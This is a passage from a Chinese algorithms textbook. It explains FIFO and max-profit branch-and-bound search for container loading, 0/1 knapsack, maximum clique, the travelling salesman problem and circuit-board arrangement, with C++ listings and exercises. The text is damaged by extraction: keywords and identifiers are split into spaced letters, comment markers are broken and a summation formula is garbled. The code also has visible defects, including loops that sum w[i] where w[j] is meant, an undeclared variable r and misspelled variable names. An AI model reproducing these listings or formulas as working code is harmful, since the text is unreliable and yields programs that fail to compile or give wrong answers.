M a x L o a d i n g函数首先初始化i = 1（因为当前E-节点是根节点），b e s t w = 0（目前最优解的对应值），此时，活节点队列为空。下一步， A - 1被加入队列以说明正处在第一层的末尾。当前E-节点对应的权值为Ew。在while 循环中，首先检查节点的左孩子是否可行。如果可行，则调用A d d L i v e N o d e，然后将右孩子加入队列（此节点必定是可行的），注意到A d d l i v e N o d e可能会失败，因为可能没有足够的内存来给队列增加节点。A d d L i v e N o d e并没有去捕获Q . A d d中的N o M e m异常，这项工作留给用户完成。

如果E-节点的两个孩子都已经被生成，则删除该E-节点。从队列中取出下一个E-节点，此时队列必不为空，因为队列中至少含有本层末尾的标识- 1。如果到达了某一层的结尾，则从下一层寻找活节点，当且仅当队列不为空时这些节点存在。当下一层存在活节点时，向队列中加入下一层的结尾标志并开始处理下一层的活节点。

M a x L o a d i n g函数的时间和空间复杂性都是O ( 2n )。

2. 改进

我们可以尝试使用程序1 6 - 2的优化方法改进上述问题的求解过程。在程序1 6 - 2中，只有当右孩子对应的重量加上剩余货箱的重量超出b e s t w时，才选择右孩子。而在程序1 7 - 1中，在i变为n之前，b e s t w的值一直保持不变，因此在i等于n之前对右孩子的测试总能成功，因为b e s t w = 0且r > 0。当i等于n时，不会再有节点加入队列中，因此这时对右孩子的测试不再有效。

如想要使右孩子的测试仍然有效，应当提早改变b e s t w的值。我们知道，最优装载的重量是子集树中可行节点的重量的最大值。由于仅在向左子树移动时这些重量才会增大，因此可以在每次进行这种移动时改变b e s t w的值。根据以上思想，我们设计了程序1 7 - 2。当活节点加入队列时，w t不会超过b e s t w，故b e s t w不用更新。因此用一条直接插入M a x L o a d i n g的简单语句取代了函数A d d L i v e N o d e。

程序17-2 对程序1 7 - 1改进之后

template<class T>

T MaxLoading(T w[], T c, int n)

{// 返回最优装载值

// 使用F I F O分枝定界算法

// 为层1初始化

LinkedQueue<T> Q; // 活节点队列

Q . A d d ( - 1 ) ; / /标记本层的尾部

int i = 1; // E-节点的层

T Ew = 0, // E-节点的重量

bestw = 0; // 目前的最优值

r = 0; // E-节点中余下的重量

for (int j = 2; j <= n; j++)

r += w[i];

// 搜索子集空间树

while (true) {

// 检查E-节点的左孩子

T wt = Ew + w[i]; // 左孩子的权值

if (wt <= c) { // 可行的左孩子

if (wt > bestw) bestw = wt;

// 若不是叶子，则添加到队列中

if (i < n) Q.Add(wt);}

// 检查右孩子

if (Ew + r > bestw && i < n)

Q.Add(Ew); // 可以有一个更好的叶子

Q.Delete(Ew); // 取下一个E-节点

if (Ew == -1) { // 到达层的尾部

if (Q.IsEmpty()) return bestw;

Q.Add(-1); //添加尾部标记

Q.Delete(Ew); // 取下一个E-节点

i++; // E-节点的层

r -= w[i];} // E-节点中余下的重量

}

}

3. 寻找最优子集

为了找到最优子集，需要记录从每个活节点到达根的路径，因此在找到最优装载所对应的叶节点之后，就可以利用所记录的路径返回到根节点来设置x的值。活节点队列中元素的类型是Q N o d e (见程序1 7 - 3 )。这里，当且仅当节点是它的父节点的左孩子时， L C h i l d为t r u e。

程序17-3 类Q N o d e

template<class T>

class QNode {

p r i v a t e :

QNode *parent; // 父节点指针

bool LChild; // 当且仅当是父节点的左孩子时，取值为t r u e

T weight; // 由到达本节点的路径所定义的部分解的值

} ;

程序1 7 - 4是新的分枝定界方法的代码。为了避免使用大量的参数来调用A d d L i v e N o d e，可以把该函数定义为一个内部函数。使用内部函数会使空间需求稍有增加。此外，还可以把A d d L i v e N o d e和M a x L o a d i n g定义成类成员函数，这样，它们就可以共享诸如Q , i , n , b e s t w, E , b e s t E和bestw 等类成员。

程序1 7 - 4并未删除类型为Q N o d e的节点。为了删除这些节点，可以保存由A d d L i v e N o d e创建的所有节点的指针，以便在程序结束时删除这些节点。

程序17-4 计算最优子集的分枝定界算法

template<class T>

void AddLiveNode(LinkedQueue<QNode<T>*> &Q, T wt, int i, int n, T bestw, QNode<T> *E,

QNode<T> *&bestE, int bestx[], bool ch)

{// 如果不是叶节点，则向队列Q中添加一个i 层、重量为w t的活节点

// 新节点是E的一个孩子。当且仅当新节点是左孩子时， c h为t r u e。

// 若是叶子，则c h取值为b e s t x [ n ]

if (i == n) {// 叶子

if (wt == bestw) {

// 目前的最优解

bestE = E;

bestx[n] = ch;}

r e t u r n ; }

// 不是叶子, 添加到队列中

QNode<T> *b;

b = new QNode<T>;

b->weight = wt;

b->parent = E;

b->LChild = ch;

Q . A d d ( b ) ;

}

template<class T>

T MaxLoading(T w[], T c, int n, int bestx[])

{// 返回最优装载值，并在b e s t x中返回最优装载

// 使用F I F O分枝定界算法

// 初始化层1

LinkedQueue<QNode<T>*> Q; // 活节点队列

Q . A d d ( 0 ) ; // 0 代表本层的尾部

int i = 1; // E-节点的层

T Ew = 0, // E-节点的重量

bestw = 0; // 迄今得到的最优值

r = 0; // E-节点中余下的重量

for (int j = 2; j <= n; j++)

r += w[i];

QNode<T> *E = 0, // 当前的E-节点

* b e s t E ; // 目前最优的E-节点

// 搜索子集空间树

while (true) {

// 检查E-节点的左孩子

T wt = Ew + w[i];

if (wt <= c) {// 可行的左孩子

if (wt > bestw) bestw = wt;

AddLiveNode(Q, wt, i, n, bestw, E, bestE, bestx, true);}

// 检查右孩子

if (Ew + r > bestw) AddLiveNode(Q, Ew, i, n, bestw, E, bestE, bestx, false);

Q . D e l e t e ( E ) ; // 下一个E-节点

if (!E) { // 层的尾部

if (Q.IsEmpty()) break;

Q . A d d ( 0 ) ; // 层尾指针

Q . D e l e t e ( E ) ; // 下一个E-节点

i + + ; // E-节点的层次

r -= w[i];} // E-节点中余下的重量

Ew = E-> w e i g h t ; // 新的E-节点的重量

}

// 沿着从b e s t E到根的路径构造x[ ] ， x [ n ]由A d d L i v e N o d e来设置

for (j = n - 1; j > 0; j--) {

bestx[j] = bestE->LChild; // 从b o o l转换为i n t

bestE = bestE-> p a r e n t ;

}

return bestw;

}

4. 最大收益分枝定界

在对子集树进行最大收益分枝定界搜索时，活节点列表是一个最大优先级队列，其中每个活节点x都有一个相应的重量上限（最大收益）。这个重量上限是节点x 相应的重量加上剩余货箱的总重量，所有的活节点按其重量上限的递减顺序变为E-节点。需要注意的是，如果节点x的重量上限是x . u w e i g h t，则在子树中不可能存在重量超过x.uweight 的节点。另外，当叶节点对应的重量等于它的重量上限时，可以得出结论：在最大收益分枝定界算法中，当某个叶节点成为E-节点并且其他任何活节点都不会帮助我们找到具有更大重量的叶节点时，最优装载的搜索终止。

上述策略可以用两种方法来实现。在第一种方法中，最大优先级队列中的活节点都是互相独立的，因此每个活节点内部必须记录从子集树的根到此节点的路径。一旦找到了最优装载所对应的叶节点，就利用这些路径信息来计算x 值。在第二种方法中，除了把节点加入最大优先队列之外，节点还必须放在另一个独立的树结构中，这个树结构用来表示所生成的子集树的一部分。当找到最大装载之后，就可以沿着路径从叶节点一步一步返回到根，从而计算出x 值。

最大优先队列可用HeapNode 类型的最大堆来表示（见程序1 7 - 5）。uweight 是活节点的重量上限，level 是活节点所在子集树的层， ptr 是指向活节点在子集树中位置的指针。子集树中节点的类型是b b n o d e（见程序1 7 - 5）。节点按u w e i g h t值从最大堆中取出。

程序17-5 bbnode 和HeapNode 类

class bbnode {

p r i v a t e :

bbnode *parent; // 父节点指针

bool LChild; // 当且仅当是父节点的左孩子时，取值为t r u e

} ;

template<class T>

class HeapNode {

p u b l i c :

operator T () const {return uweight;}

p r i v a t e :

bbnode *ptr; // 活节点指针

T uweight; // 活节点的重量上限

int level; // 活节点所在层

} ;

程序1 7 - 6中的函数A d d L i v e N o d e用于把b b n o d e类型的活节点加到子树中，并把H e a p N o d e类型的活节点插入最大堆。A d d L i v e N o d e必须被定义为b b n o d e和H e a p N o d e的友元。

程序17-6

template<class T>

void AddLiveNode(MaxHeap<HeapNode<T> > &H, bbnode *E, T wt, bool ch, int lev)

{// 向最大堆H中增添一个层为l e v上限重量为w t的活节点

// 新节点是E的一个孩子

// 当且仅当新节点是左孩子ch 为t r u e

bbnode *b = new bbnode;

b->parent = E;

b->LChild = ch;

HeapNode<T> N;

N.uweight = wt;

N.level = lev;

N.ptr = b;

H . I n s e r t ( N ) ;

}

template<class T>

T MaxLoading(T w[], T c, int n, int bestx[])

{// 返回最优装载值，最优装载方案保存于b e s t x

// 使用最大收益分枝定界算法

// 定义一个最多有1 0 0 0个活节点的最大堆

MaxHeap<HeapNode<T> > H(1000);

// 第一剩余重量的数组

// r[j] 为w [ j + 1 : n ]的重量之和

T *r = new T [n+1];

r[n] = 0;

for (int j = n-1; j > 0; j--)

r[j] = r[j+1] + w[j+1];

// 初始化层1

int i = 1; // E-节点的层

bbnode *E = 0; // 当前E-节点

T Ew = 0; // E-节点的重量

// 搜索子集空间树

while (i != n+1) {// 不在叶子上

// 检查E-节点的孩子

if (Ew + w[i] <= c) {// 可行的左孩子

AddLiveNode(H, E, Ew+w[i]+r[i], true, i+1);}

// 右孩子

AddLiveNode(H, E, Ew+r[i], false, i+1);

// 取下一个E-节点

HeapNode<T> N;

H.DeleteMax(N); // 不能为空

i = N.level;

E = N.ptr;

Ew = N.uweight - r[i-1];

}

// 沿着从E-节点E到根的路径构造b e s t x [ ]

for (int j = n; j > 0; j--) {

bestx[j] = E->LChild; // 从b o o l转换为i n t

E = E-> p a r e n t ;

}

return Ew;

}

函数M a x L o a d i n g（见程序1 7 - 6）首先定义了一个容量为1 0 0 0的最大堆，因此，可以用它来解决优先队列中活节点数在任何时候都不超过1 0 0 0的装箱问题。对于更大型的问题，需要一个容量更大的最大堆。接着，函数M a x L o a d i n g初始化剩余重量数组r。第i + 1层的节点（即x [ 1 : i ]的值都已确定）对应的剩余容器总重量可以用如下公式求出：

r [i]=n &aring;j=i + 1w[ j ]。

变量E指向子集树中的当前E-节点，Ew 是该节点对应的重量， i 是它所在的层。初始时，根节点是E-节点，因此取i=1, Ew=0。由于没有明确地存储根节点，因此E的初始值取为0。while 循环用于产生当前E-节点的左、右孩子。如果左孩子是可行的（即它的重量没有超出容量），则将它加入到子集树中并作为一个第i + 1层节点加入最大堆中。一个可行的节点的右孩子也被认为是可行的，它总被加入子树及最大堆中。在完成添加操作后，接着从最大堆中取出下一个E-节点。如果没有下一个E-节点，则不存在可行的解。如果下一个E-节点是叶节点（即是一个层为n + 1的节点），则它代表着一个最优的装载，可以沿着从叶到根的路径来确定装载方案。

5. 说明

1) 使用最大堆来表示活节点的最大优先队列时，需要预测这个队列的最大长度（程序1 7 - 6

中是1 0 0 0）。为了避免这种预测，可以使用一个基于指针的最大优先队列来取代基于数组的队列，这种表示方法见9 . 4节的左高树。

2) bestw表示当前所有可行节点的重量的最大值，而优先队列中可能有许多其u w e i g h t不超过b e s t w的活节点，因此这些节点不可能帮助我们找到最优的叶节点，这些节点浪费了珍贵的队列空间，并且它们的插入/删除动作也浪费了时间，所以可以将这些节点删除。有一种策略可以减少这种浪费，即在插入某个节点之前检查是否有u w e i g h t < b e s t w。然而，由于b e s t w在算法执行过程中是不断增大的，所以目前插入的节点在以后并不能保证u w e i g h t < b e s t w。另一种更好的方法是在每次b e s t w增大时，删除队列中所有u w e i g h t < b e s e w的节点。这种策略要求删除具有最小u w e i g h t的节点。因此，队列必须支持如下的操作：插入、删除最大节点、删除最小节点。这种优先队列也被称作双端优先队列（ double-ended priority queue）。这种队列的数据结构描述见第9章的参考文献。

5.2.2 0/1背包问题

0 / 1背包问题的最大收益分枝定界算法可以由程序1 6 - 6发展而来。可以使用程序1 6 - 6的B o u n d函数来计算活节点N的收益上限u p ,使得以N为根的子树中的任一节点的收益值都不可能超过u p r o f i t。活节点的最大堆使用u p r o f i t作为关键值域，最大堆的每个入口都以H e a p N o d e作为其类型，H e a p N o d e有如下私有成员：uprofit, profit, weight，l e v e l，p t r，其中l e v e l和p t r的定义与装箱问题（见程序1 7 - 5）中的含义相同。对任一节点N，N . p r o f i t是N的收益值，N uprofit是它的收益上限， N. weight 是它对应的重量。b b n o d e类型如程序1 7 - 5中的定义，各节点按其u p r o f i t值从最大堆中取出。

程序1 7 - 7使用了类Knap, 它类似于回溯法中的类K n a p（见程序1 6 - 5）。两个K n a p版本中数据成员之间的区别见程序1 7 - 7：1) bestp 不再是一个成员； 2) bestx 是一个指向int 的新成员。新增成员的作用是：当且仅当物品j 包含在最优解中时， b e s t x [ j ] = 1。函数A d d L i v e N o d e用于将新的b b n o d e类型的活节点插入子集树中，同时将H e a p N o d e类型的活节点插入到最大堆中。这个函数与装箱问题（见程序1 7 - 6）中的对应函数非常类似，因此相应的代码被省略。

程序17-7 0/1背包问题的最大收益分枝定界算法

template<class Tw, class Tp>

Tp Knap<Tw, Tp>::MaxProfitKnapsack()

{// 返回背包最优装载的收益

// bestx[i] = 1 当且仅当物品i 属于最优装载

// 使用最大收益分枝定界算法

// 定义一个最多可容纳1 0 0 0个活节点的最大堆

H = new MaxHeap<HeapNode<Tp, Tw> > (1000);

// 为b e s t x分配空间

bestx = new int [n+1];

// 初始化层1

int i = 1;

E = 0;

cw = cp = 0;

Tp bestp = 0; // 目前的最优收益

Tp up = Bound(1); // 在根为E的子树中最大可能的收益

// 搜索子集空间树

while (i != n+1) { // 不是叶子

// 检查左孩子

Tw wt = cw + w[i];

if (wt <= c) {// 可行的左孩子

if (cp+p[i] > bestp) bestp = cp+p[i];

AddLiveNode(up, cp+p[i], cw+w[i], true, i+1);}

up = Bound(i+1);

// 检查右孩子

if (up >= bestp) // 右孩子有希望

AddLiveNode(up, cp, cw, false, i+1);

// 取下一个E-节点

HeapNode<Tp, Tw> N;

H->DeleteMax(N); // 不能为空

E = N.ptr;

cw = N.weight;

cp = N.profit;

up = N.uprofit;

i = N.level;

}

// 沿着从E-节点E到根的路径构造bestx[]

for (int j = n; j > 0; j--) {

bestx[j] = E-> L C h i l d ;

E = E-> p a r e n t ;

}

return cp;

}

函数M a x P r o f i t K n a p s a c k在子集树中执行最大收益分枝定界搜索。函数假定所有的物品都是按收益密度值的顺序排列，可以使用类似于程序1 6 - 9中回溯算法所使用的预处理代码来完成这种排序。函数M a x P r o f i t K n a p s a c k首先初始化活节点的最大堆，并使用一个数组b e s t x来记录最优解。由于需要不断地利用收益密度来排序，物品的索引值会随之变化，因此必须将M a x P r o f i t K n a p s a c k所生成的结果映射回初始时的物品索引。可以用Q的I D域来实现上述映射（见程序1 6 - 9）。

在函数M a x P r o f i t K n a p S a c k中，E是当前E-节点，c w是节点对应的重量， c p是收益值，u p是以E为根的子树中任一节点的收益值上限。w h i l e循环一直执行到一个叶节点成为E-节点为止。由于最大堆中的任何剩余节点都不可能具有超过当前叶节点的收益值，因此当前叶即对应了一个最优解。可以从叶返回到根来确定这个最优解。

M a x P r o f i t K n a p s a c k中w h i l e循环的结构很类似于程序1 7 - 6的w h i l e循环。首先，检验E-节点左孩子的可行性，如它是可行的，则将它加入子集树及活节点队列（即最大堆）；仅当节点右孩子的B o u n d值指明有可能找到一个最优解时才将右孩子加入子集树和队列中。

5.2.3 最大完备子图

4 . 2 . 3节完备子图问题的解空间树也是一个子集树，故可以使用与装箱问题、背包问题相同的最大收益分枝定界方法来求解这种问题。解空间树中的节点类型为b b n o d e，而最大优先队列中元素的类型则是C l i q u e N o d e。C l i q u e N o d e有如下域：c n（该节点对应的完备子图中的顶点数目），u n（该节点的子树中任意叶节点所对应的完备子图的最大尺寸），l e v e l（节点在解空间树中的层），c n（当且仅当该节点是其父节点的左孩子时， c n为1），p t r（指向节点在解空间树中的位置）。u n的值等于c n + n - l e v e + 1。因为根据un 和c n（或l e v e l）可以求出l e v e l（或c n），所以可以去掉c n或l e v e l域。当从最大优先队列中选取元素时，选取的是具有最大u n值的元素。在程序1 7 - 8中，C l i q u e N o d e包含了所有的三个域：c n，un 和l e v e l，这样便于尝试为u n赋予不同的含义。函数A d d C l i q u e N o d e用于向生成的子树和最大堆中加入节点，由于其代码非常类似于装箱和背包问题中的对应函数，故将它略去。

函数B B M a x C l i q u e在解空间树中执行最大收益分枝定界搜索，树的根作为初始的E-节点，该节点并没有在所构造的树中明确存储。对于这个节点来说，其cn 值（E-节点对应的完备子图的大小）为0，因为还没有任何顶点被加入完备子图中。E-节点的层由变量i 指示，它的初值为1，对应于树的根节点。当前所找到的最大完备子图的大小保存在b e s t n中。

在while 循环中，不断展开E-节点直到一个叶节点变成E-节点。对于叶节点，u n＝c n。由于所有其他节点的un 值都小于等于当前叶节点对应的un 值，所以它们不可能产生更大的完备子图，因此最大完备子图已经找到。沿着生成的树中从叶节点到根的路径，即可构造出这个最大完备子图。

为了展开一个非叶E-节点，应首先检查它的左孩子，如果左孩子对应的顶点i与当前E-节点所包含的所有顶点之间都有一条边，则i 被加入当前的完备子图之中。为了检查左孩子的可行性，可以沿着从E-节点到根的路径，判断哪些顶点包含在E-节点之中，同时检查这些顶点中每个顶点是否都存在一条到i 的边。如果左孩子是可行的，则把它加入到最大优先队列和正在构造的树中。下一步，如果右孩子的子树中包含最大完备子图对应的叶节点，则把右孩子也加入。

由于每个图都有一个最大完备子图，因此从堆中删除节点时，不需要检验堆是否为空。仅当到达一个可行的叶节点时，w h i l e循环终止。

程序17-8 最大完备子图问题的分枝定界算法

int AdjacencyGraph::BBMaxClique(int bestx[])

{// 寻找一个最大完备子图的最大收益分枝定界程序

// 定义一个最多可容纳1 0 0 0个活节点的最大堆

MaxHeap<CliqueNode> H(1000);

// 初始化层1

bbnode *E = 0; // 当前的E-节点为根

int i = 1, // E-节点的层

cn = 0, // 完备子图的大小

bestn = 0; // 目前最大完备子图的大小

// 搜索子集空间树

while (i != n+1) {// 不是叶子

// 在当前完备子图中检查顶点i 是否与其它顶点相连

bool OK = true;

bbnode *B = E;

for (int j = i - 1; j > 0; B = B->parent, j--)

if (B->LChild && a[i][j] == NoEdge) {

OK = false;

b r e a k ; }

if (OK) {// 左孩子可行

if (cn + 1 > bestn) bestn = cn + 1;

AddCliqueNode(H, cn+1, cn+n-i+1, i+1, E, true);}

if (cn + n - i >= bestn)

// 右孩子有希望

AddCliqueNode(H, cn, cn+n-i, i+1, E, false);

// 取下一个E-节点

CliqueNode N;

H.DeleteMax(N); // 不能为空

E = N.ptr;

cn = N.cn;

i = N.level;

}

// 沿着从E到根的路径构造bestx[]

for (int j = n; j > 0; j--) {

bestx[j] = E-> L C h i l d ;

E = E-> p a r e n t ;

}

return bestn;

}

5.2.4 旅行商问题

旅行商问题的介绍见4 . 2 . 4节，它的解空间是一个排列树。与在子集树中进行最大收益和最小耗费分枝定界搜索类似，该问题有两种实现的方法。第一种是只使用一个优先队列，队列中的每个元素中都包含到达根的路径。另一种是保留一个部分解空间树和一个优先队列，优先队列中的元素并不包含到达根的路径。本节只实现前一种方法。

由于我们要寻找的是最小耗费的旅行路径，因此可以使用最小耗费分枝定界法。在实现过程中，使用一个最小优先队列来记录活节点，队列中每个节点的类型为M i n H e a p N o d e。每个节点包括如下区域： x（从1到n的整数排列，其中x [ 0 ] = 1 )，s（一个整数，使得从排列树的根节点到当前节点的路径定义了旅行路径的前缀x[0:s], 而剩余待访问的节点是x [ s + 1 : n - 1 ]），c c（旅行路径前缀，即解空间树中从根节点到当前节点的耗费），l c o s t（该节点子树中任意叶节点中的最小耗费）， r c o s t（从顶点x [ s : n - 1 ]出发的所有边的最小耗费之和）。当类型为M i n H e a p N o d e ( T )的数据被转换成为类型T时，其结果即为l c o s t的值。分枝定界算法的代码见程序1 7 - 9。

程序1 7 - 9首先生成一个容量为1 0 0 0的最小堆，用来表示活节点的最小优先队列。活节点按其l c o s t值从最小堆中取出。接下来，计算有向图中从每个顶点出发的边中耗费最小的边所具有的耗费M i n O u t。如果某些顶点没有出边，则有向图中没有旅行路径，搜索终止。如果所有的顶点都有出边，则可以启动最小耗费分枝定界搜索。根的孩子（图1 6 - 5的节点B）作为第一个E-节点，在此节点上，所生成的旅行路径前缀只有一个顶点1，因此s=0, x[0]=1, x[1:n-1]是剩余的顶点（即顶点2 ， 3 ，.， n ）。旅行路径前缀1 的开销为0 ，即c c = 0 ，并且，r c o st=n &aring;i=1M i n O u t [i]。在程序中，bestc 给出了当前能找到的最少的耗费值。初始时，由于没有找到任何旅行路径，因此b e s t c的值被设为N o E d g e。

程序17-9 旅行商问题的最小耗费分枝定界算法

template<class T>

T AdjacencyWDigraph<T>::BBTSP(int v[])

{// 旅行商问题的最小耗费分枝定界算法

// 定义一个最多可容纳1 0 0 0个活节点的最小堆

MinHeap<MinHeapNode<T> > H(1000);

T *MinOut = new T [n+1];

// 计算MinOut[i] = 离开顶点i的最小耗费边的耗费

T MinSum = 0; // 离开顶点i的最小耗费边的数目

for (int i = 1; i <= n; i++) {

T Min = NoEdge;

for (int j = 1; j <= n; j++)

if (a[i][j] != NoEdge &&

(a[i][j] < Min || Min == NoEdge))

Min = a[i][j];

if (Min == NoEdge) return NoEdge; // 此路不通

MinOut[i] = Min;

MinSum += Min;

}

// 把E-节点初始化为树根

MinHeapNode<T> E;

E.x = new int [n];

for (i = 0; i < n; i++)

E.x[i] = i + 1;

E.s = 0; // 局部旅行路径为x [ 1 : 0 ]

E.cc = 0; // 其耗费为0

E.rcost = MinSum;

T bestc = NoEdge; // 目前没有找到旅行路径

// 搜索排列树

while (E.s < n - 1) {// 不是叶子

if (E.s == n - 2) {// 叶子的父节点

// 通过添加两条边来完成旅行

// 检查新的旅行路径是不是更好

if (a[E.x[n-2]][E.x[n-1]] != NoEdge && a[E.x[n-1]][1] != NoEdge && (E.cc +

a[E.x[n-2]][E.x[n-1]] + a[E.x[n-1]][1] < bestc || bestc == NoEdge)) {

// 找到更优的旅行路径

bestc = E.cc + a[E.x[n-2]][E.x[n-1]] + a[E.x[n-1]][1];

E.cc = bestc;

E.lcost = bestc;

E . s + + ;

H . I n s e r t ( E ) ; }

else delete [] E.x;}

else {// 产生孩子

for (int i = E.s + 1; i < n; i++)

if (a[E.x[E.s]][E.x[i]] != NoEdge) {

// 可行的孩子, 限定了路径的耗费

T cc = E.cc + a[E.x[E.s]][E.x[i]];

T rcost = E.rcost - MinOut[E.x[E.s]];

T b = cc + rcost; //下限

if (b < bestc || bestc == NoEdge) {

// 子树可能有更好的叶子

// 把根保存到最大堆中

MinHeapNode<T> N;

N.x = new int [n];

for (int j = 0; j < n; j++)

N.x[j] = E.x[j];

N.x[E.s+1] = E.x[i];

N.x[i] = E.x[E.s+1];

N.cc = cc;

N.s = E.s + 1;

N.lcost = b;

N.rcost = rcost;

H . I n s e r t ( N ) ; }

} // 结束可行的孩子

delete [] E.x;} // 对本节点的处理结束

try {H.DeleteMin(E);} // 取下一个E-节点

catch (OutOfBounds) {break;} // 没有未处理的节点

}

if (bestc == NoEdge) return NoEdge; // 没有旅行路径

// 将最优路径复制到v[1:n] 中

for (i = 0; i < n; i++)

v[i+1] = E.x[i];

while (true) {// 释放最小堆中的所有节点

delete [] E.x;

try {H.DeleteMin(E);}

catch (OutOfBounds) {break;}

}

return bestc;

}

while 循环不断地展开E-节点，直到找到一个叶节点。当s = n - 1时即可说明找到了一个叶节点。旅行路径前缀是x [ 0 : n - 1 ]，这个前缀中包含了有向图中所有的n个顶点。因此s = n - 1的活节点即为一个叶节点。由于算法本身的性质，在叶节点上lcost 和cc 恰好等于叶节点对应的旅行路径的耗费。由于所有剩余的活节点的lcost 值都大于等于从最小堆中取出的第一个叶节点的lcost 值，所以它们并不能帮助我们找到更好的叶节点，因此，当某个叶节点成为E-节点后，搜索过程即终止。

while 循环体被分别按两种情况处理，一种是处理s = n - 2的E-节点，这时，E-节点是某个单独叶节点的父节点。如果这个叶节点对应的是一个可行的旅行路径，并且此旅行路径的耗费小于当前所能找到的最小耗费，则此叶节点被插入最小堆中，否则叶节点被删除，并开始处理下一个E-节点。

其余的E-节点都放在while 循环的第二种情况中处理。首先，为每个E-节点生成它的两个子节点，由于每个E-节点代表着一条可行的路径x [ 0 : s ]，因此当且仅当< x[s],x[i] > 是有向图的边且x [ i ]是路径x [ s + 1 : n - 1 ]上的顶点时，它的子节点可行。对于每个可行的孩子节点，将边<x[s],x[i] > 的耗费加上E.cc 即可得到此孩子节点的路径前缀( x [ 0 : s ]，x[i]) 的耗费c c。由于每个包含此前缀的旅行路径都必须包含离开每个剩余顶点的出边，因此任何叶节点对应的耗费都不可能小于cc 加上离开各剩余顶点的出边耗费的最小值之和，因而可以把这个下限值作为E-节点所生成孩子的lcost 值。如果新生成孩子的lcost 值小于目前找到的最优旅行路径的耗费b e s t c，则把新生成的孩子加入活节点队列（即最小堆）中。

如果有向图没有旅行路径，程序1 7 - 9返回N o E d g e；否则，返回最优旅行路径的耗费，而最优旅行路径的顶点序列存储在数组v 中。

5.2.5 电路板排列

电路板排列问题（ 1 6 . 2 . 5节）的解空间是一棵排列树，可以在此树中进行最小耗费分枝定界搜索来找到一个最小密度的电路板排列。我们使用一个最小优先队列，其中元素的类型为B o a r d N o d e，代表活节点。B o a r d N o d e类型的对象包含如下域： x（电路板的排列），s（电路板x[1:s]) 依次放置在位置1 到s 上），c d（电路板排列x [ 1 : s ]的密度，其中包括了到达x[s] 右边的连线），n o w（now[j] 是排列x[1:s] 中包含j 的电路板的数目）。当一个BoardNode 类型的对象转换为整型时，其结果即为对象的cd 值。代码见程序1 7 - 1 0。

程序17-10 电路板排列问题的最小耗费分枝定界算法

int BBArrangeBoards(int **B, int n, int m, int* &bestx)

{// 最小耗费分枝定界算法, m个插槽, n块板

MinHeap<BoardNode> H(1000); // 容纳活节点

// 初始化第一个E节点、t o t a l和b e s t d

BoardNode E;

E.x = new int [n+1];

E.s = 0; // 局部排列为E . x [ 1 : s ]

E.cd = 0; // E.x[1:s]的密度

E.now = new int [m+1];

int *total = new int [m+1];

// now[i] = x[1:s]中含插槽i的板的数目

// total[i] = 含插槽i的板的总数目

for (int i = 1; i <= m; i++) {

total[i] = 0;

E.now[i] = 0;

}

for (i = 1; i <= n; i++) {

E.x[i] = i; // 排列为1 2 3 4 5 . . . n

for (int j = 1; j <= m; j++)

total[j] += B[i][j]; // 含插槽j的板

}

int bestd = m + 1; / /目前的最优密度

bestx = 0; // 空指针

do {// 扩展E节点

if (E.s == n - 1) {// 仅有一个孩子

int ld = 0; // 最后一块板的局部密度

for (int j = 1; j <= m; j++)

ld += B[E.x[n]][j];

if (ld < bestd) {// 更优的排列

delete [] bestx;

bestx = E.x;

bestd = max(ld, E.cd);

}

else delete [] E.x;

delete [] E.now;}

else {// 生成E-节点的孩子

for (int i = E.s + 1; i <= n; i++) {

BoardNode N;

N.now = new int [m+1];

for (int j = 1; j <= m; j++)

// 在新板中对插槽计数

N.now[j] = E.now[j] + B[E.x[i]][j];

int ld = 0; // 新板的局部密度

for (j = 1; j <= m; j++)

if (N.now[j] > 0 && total[j] != N.now[j]) ld++;

N.cd = max(ld, E.cd);

if (N.cd < bestd) {// 可能会引向更好的叶子

N.x = new int [n+1];

N.s = E.s + 1;

for (int j = 1; j <= n; j++)

N.x[j] = E.x[j];

N.x[N.s] = E.x[i];

N.x[i] = E.x[N.s];

H . I n s e r t ( N ) ; }

else delete [] N.now;}

delete [] E.x;} // 处理完当前E-节点

try {H.DeleteMin(E);} // 下一个E-节点

catch (OutOfBounds) {return bestd;} //没有E-节点

} while (E.cd < bestd);

// 释放最小堆中的所有节点

do {delete [] E.x;

delete [] E.now;

try {H.DeleteMin(E);}

catch (...) {break;}

} while (true);

return bestd;

}

程序1 7 - 1 0首先初始化E-节点为排列树的根，此节点中没有任何电路板，因此有s=0, cd=0,n o w [ i ] = 0（1≤i≤n），x是整数1到n 的任意排列。接着，程序生成一个整型数组t o t a l，其中total[i] 的值为包含i 的电路板的数目。目前能找到的最优的电路板排列记录在数组bestx 中，对应的密度存储在bestd 中。程序中使用一个do-while 循环来检查每一个E-节点，在每次循环的尾部，将从最小堆中选出具有最小cd 值的节点作为下一个E-节点。如果某个E-节点的cd 值大于等于bestd，则任何剩余的活节点都不能使我们找到密度小于bestd的电路板排列，因此算法终止。

d o - w h i l e循环分两种情况处理E-节点，第一种是处理s = n - 1时的情况，此种情况下，有n - 1个电路板被放置好， E-节点即解空间树中的某个叶节点的父节点。节点对应的密度会被计算出来，如果需要，bested 和bestx 将被更新。在第二种情况中，E-节点有两个或更多的孩子。每当一个孩子节点N生成时，它对应的部分排列( x [ 1 : s + 1 ] )的密度N . c d就会被计算出来，如果N . c d < b e s t d ,则N被存放在最小优先队列中；如果N . c d≥b e s t d，则它的子树中的所有叶节点对应的密度都满足d e n s i t y≥b e s t d，这就意味着不会有优于b e s t x的排列。

练习

3. 在程序1 7 - 4中增加代码，将指向由函数A d d L i v e N o d e生成的节点的指针存储在一个链表队列中。M a x L o a d i n g必须利用这些指针信息在程序终止之前删除所有生成的节点。

4. 本节所使用的A d d L i v e N o d e函数直到程序终止前才删除所生成的节点。实际上，没有活动孩子且不产生叶节点的那些节点都可以被立即删除。类似地，在第n 层节点中，若节点没有重量为b e s t w的孩子，则可以立即删除该节点。讨论怎样尽快删除不需要的节点。描述实现这种方法时所涉及的时间/空间变化。你推荐使用上述方法吗？

5. 在程序1 7 - 6中，定义一个b e s t w来记录目前生成的可行节点所对应的重量的最大值。修改程序1 7 - 6，使得如果活节点的重量大于等于b e s t w，则将它加入子集树及最大堆中。此外，还必须增加初始化和更新b e s t w的代码。

6. 只使用一个最大优先队列，来实现用最大收益分枝定界方法求解货箱装船问题，即不要使用程序1 7 - 6中所用到的部分解空间树，而在每个优先队列的节点中都加入通向根节点的路径信息。

7. 修改程序1 7 - 6，把删除b b n o d e类型和H e a p N o d e类型节点的任务放在程序结尾处。

8. 只使用一个最大优先队列，利用最大收益分枝定界法求解0 / 1背包问题，即不必保存一个部分解空间树，所有优先队列中的节点都记录着通往根节点的路径。

